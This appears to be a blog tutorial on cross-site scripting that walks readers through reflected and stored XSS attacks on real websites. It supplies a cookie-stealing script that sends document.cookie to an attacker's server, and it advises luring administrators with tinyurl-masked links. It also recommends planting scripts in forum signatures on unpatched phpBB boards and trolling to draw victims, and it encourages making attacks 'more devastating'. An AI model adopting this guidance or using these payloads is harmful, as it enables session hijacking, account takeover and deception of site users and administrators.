Code Injection For Beginners
A few minutes ago, I received an email alert from my Article Request Button from a viewer who commented on our video “The Hidden Internet – Exploring the Deep Web”. The message reads:
What Would You Like?: Article
Well Trav, today is your lucky day! I am going to try to answer your questions as quickly and concisely as possible. I think I know just the type of info you are looking for. Most of the code injection tutorials out there center on just popping up a dialog box saying Hello World or something.
Let’s take a look at what code injection is actually used for, and has been used for in the past.
I don’t know how old you are, reader, but if you remember MySpace, you might remember The Samy Worm, created by none other than our man, Samy Kamkar, (source) This was a famous XSS attack that ended up crashing all of MySpace in a few hours, and netted Samy over a million friend requests. Ballsy, I like it.
If you are a bit too young for that, perhaps you will remember the Twitter Rollover Injection attack that happened September of 2010. (source) I remember this one particularly well, as I escaped unscathed, which was seemingly impossible, consider I was brand new to active Twitter use, and very much had a mentality of “CLICK ALL THE THINGS!!”
So, what makes this all possible?
When you are programming an application, you outline what your goal is, and your plan of attack . Let’s say you are making a search box. Most websites these days run PHP, so we can assume that there is a Search.php running the show when you click ‘Submit’.
Seems simple right?
What most beginner [or lazy] programmers neglect to account for is that not everyone is Joe Internet submitting searches for “Shoes” or “Lady Gaga”. Not every user navigates along this predefined path, and this can often yield interesting results, case in point, code injection and cross site scripting.
We call the process of scrubbing the input entered into a program “Code Sanitization”. You’d think that since this problem has been so widespread and devastating in the past, that programmers would start implementing this at every chance. This is often not the case. Here is a list of prominent websites that were recently determined vulnerable to such attacks.
Code Santization allows us to make sure an attacker is not able to execute arbitrary code; we do not want a user to step outside of the predefined ‘user experience’ that we have set forth to create. We wouldn’t want any of our sessions stolen, now would we? If someone gets you with this next attack, you can change your password all you want, but you are still screwed.
Here is a brief example of how one would go about this type of attack. We will be covering two types of attacks commonly used today. This is meant to be instructional. If you are going to get yourself arrested anyway, make it something good.
The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on “normal” pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
Starting with the non-persistent or reflected attack, we can easily start finding vulnerable search boxes by inputting this code into them. If successful, you should be able to pop up a dialog box with whatever predefined text you have in there. This, in itself is not the hack, but the litmus test for a server vulnerable to the attack.
For this, we require the user to visit our specially made link. You can do this by sending the site administrator an email, with a tinyurl to mask the malicious code. Be creative, just get him to click the link. When he visits the link, the malicious code will get executed by his browser.
Assuming this worked, you now have a site that is ready to dance to the beat of your drum. Typically, at this point, you can insert whatever custom malicious code you like. You would do that by crafting a custom URL, and either masking it with hex code, or using some type of URL masking service like bit.ly, or tinyurl.
index.php?name=guest<script>alert('malicious code goes here')</script>
<script>document.location="www.linktoyourown.com/cookie-catcher-script-maybe.php?c=" + document.cookie</script>
I’m not going to spoon-feed you malicious code, so you will have to source that part from another site, or write your own. I’m sure some day you will thank me for not enabling you to become a script-kiddie. If you were to, however go the route of the cookie catcher script, you can enact the scenario I spoke about earlier where it doesn’t matter how many times that admin changes his password, you have his session, and can log in as him and do what you please.
Moving right along, let’s look at the persistent attack!
I was searching for the ideal scenario for this attack, but the author of the Wikipedia page beat me to it with this ideal scenario about using a social network profile to snatch data from a server who otherwise would not be giving it up:
For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody’s real name and email. These are kept secret on the server. The only time a member’s real name and email are in the browser is when the member is signed in, and they can’t see anyone else’s.
Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the men she sees on the site. To do so, she writes a script that runs from men’s browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.
To do this, for the question “Describe your Ideal First Date”, Mallory gives a short answer (to appear normal) but the text at the end of her answer is her script to steal names and emails. If the script is enclosed inside a <script> element, it won’t be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.
Persistent XSS can be more significant than other types because an attacker’s malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm.
My favorite way of executing this method, is exploiting forums. Most installs of phpBB, a popular bulletin board system, do not get regular updates. This can be due to lazy admins, which are commonly found on ‘spun-websites’ or sites that have been generated solely for gaming the ad-revenue system. These types of communities tend to run themselves, which is an extra couple of hundred dollars in an admin’s pocket every month.
The best way to execute this attack, is to embed the code in your signature, or if you can, a link to whatever your URL is, if they offer that in the profile. The next step is to give people as much incentive as possible to visit your personal profile; trolling is the most effective way.
Here is a popular and basic way of using iframes to do your evil bidding. This attack was quite popular a while ago, and eliminates a few steps which get tedious with the non-persistent attack. There are many ways to do this, so please do not consider this to be your only option. We will be using that cookie catcher we spoke about in the previous paragraphs.
This will yield you the same results as before, but quicker because it generates the URL on-the-fly.
I hope I have not armed you with enough to get yourself in trouble, but instead, inspired a curiosity to find new ways to make these attacks more creative, and more devastating. I hope you enjoyed this simple guide, and maybe it was easier to learn this way than on other sites.
Here are some links to learn further about the topic:
If this guide helped you, please consider disabling your ad-block when you visit my site so that my advertisers can pay me for my work. This is not mandatory, but I like nice computers, and I must support my habit for fine electronics
Thanks for reading! Remember to Share! Like! Subscribe!